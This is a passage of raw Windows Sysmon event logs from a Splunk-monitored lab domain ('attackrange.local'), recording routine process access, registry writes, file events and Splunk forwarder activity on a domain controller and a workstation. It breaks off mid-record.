14:50:16.958{7BD73061-65B2-613B-0D00-00000000F001}8922196C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+b4d7|c:\windows\system32\rpcss.dll+8257|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047255Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:16.958{7BD73061-65B2-613B-0D00-00000000F001}8922196C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-0C00-00000000F001}836C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+b4d7|c:\windows\system32\rpcss.dll+8257|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 13241300x800000000000000047254Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:50:16.770{7BD73061-65B2-613B-1300-00000000F001}92C:\Windows\System32\svchost.exeHKLM\System\CurrentControlSet\Services\NcbService\NCB\KapiNlmCache\7\ValueBinary Data 13241300x800000000000000047253Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:50:16.770{7BD73061-65B2-613B-1300-00000000F001}92C:\Windows\System32\svchost.exeHKLM\System\CurrentControlSet\Services\NcbService\NCB\KapiNlmCache\7\ValueSizeDWORD (0x00000008) 13241300x800000000000000047252Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:50:16.770{7BD73061-65B2-613B-1300-00000000F001}92C:\Windows\System32\svchost.exeHKLM\System\CurrentControlSet\Services\NcbService\NCB\KapiNlmCache\7\KeySizeDWORD (0x00000000) 13241300x800000000000000047251Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:50:16.770{7BD73061-65B2-613B-1300-00000000F001}92C:\Windows\System32\svchost.exeHKLM\System\CurrentControlSet\Services\NcbService\NCB\KapiNlmCache\7\TimestampQWORD (0x01d7a653-0x2b2edc35) 13241300x800000000000000047250Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:50:16.770{7BD73061-65B2-613B-1300-00000000F001}92C:\Windows\System32\svchost.exeHKLM\System\CurrentControlSet\Services\NcbService\NCB\KapiNlmCache\7\NetworksBinary Data 13241300x800000000000000047249Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:50:16.770{7BD73061-65B2-613B-1300-00000000F001}92C:\Windows\System32\svchost.exeHKLM\System\CurrentControlSet\Services\NcbService\NCB\KapiNlmCache\7\NumNetworksDWORD (0x00000001) 23542300x800000000000000047248Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:16.051{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BFD67490DCBF0059B38BB5BC83F6FD97,SHA256=D02D2ACE26FACF6B01276AA99F39AC476362BD935A4D6209B5107802A1438B09,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014891Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:17.128{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D6FC62A266A51BEAA586F7CFC22B01B5,SHA256=D1CA379B3AB787472B4EF26C666125AB06720C67557C97869EFEEE68B5723E1D,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000047268Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:17.739{7BD73061-70A9-613B-110B-00000000F001}1086748C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047267Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:17.521{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-70A9-613B-110B-00000000F001}108C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047266Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:17.521{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047265Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:17.521{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047264Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:17.521{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047263Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:17.521{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047262Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:17.521{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-70A9-613B-110B-00000000F001}108C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000047261Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:17.521{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-70A9-613B-110B-00000000F001}108C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000047260Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:17.521{7BD73061-70A9-613B-110B-00000000F001}108C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 354300x800000000000000047259Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:14.575{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59379-false10.0.1.12-8000- 23542300x800000000000000047258Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:17.114{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=96125A5707B8051532E9E13A86BB501E,SHA256=AD278C63584DF8EEA3E07E131E91DFC690DF22D5BE344218482CEE7C66A53B71,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014892Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:18.128{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5867E654CCFC42C58AA388B51184388E,SHA256=17869A0D1A347E28A664BE1BD01E5429BAADC644697DAFABA12120F1F12C5F58,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000047287Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:18.551{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-70AA-613B-130B-00000000F001}6148C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047286Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:18.551{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047285Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:18.551{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047284Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:18.551{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-70AA-613B-130B-00000000F001}6148C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000047283Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:18.551{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047282Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:18.551{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047281Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:18.551{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-70AA-613B-130B-00000000F001}6148C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000047280Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:18.552{7BD73061-70AA-613B-130B-00000000F001}6148C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000047279Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:18.536{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=DDFA03A6FECD61C3E661022A7C0963AB,SHA256=E62E4E4E0F5B4D51CDD18A9D6118486D88FBC76A70D00A416A2F3DF72C544C70,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047278Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:18.536{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=18723021E73DD15E90C4D7116684DBBB,SHA256=3887396D4F5A8EB9B3BD549FFEED1DF643B4A6C511E76C6D78117A806B13141A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047277Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:18.176{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7CC5A78EE6FC2C48895A4B09C0E3BC7C,SHA256=194E631EAFC053776B35B1978782859D1CCE59A08BE9ECBA42E37D0C18F7A9D1,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000047276Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:18.036{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-70AA-613B-120B-00000000F001}7024C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047275Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:18.036{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047274Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:18.036{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047273Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:18.036{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047272Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 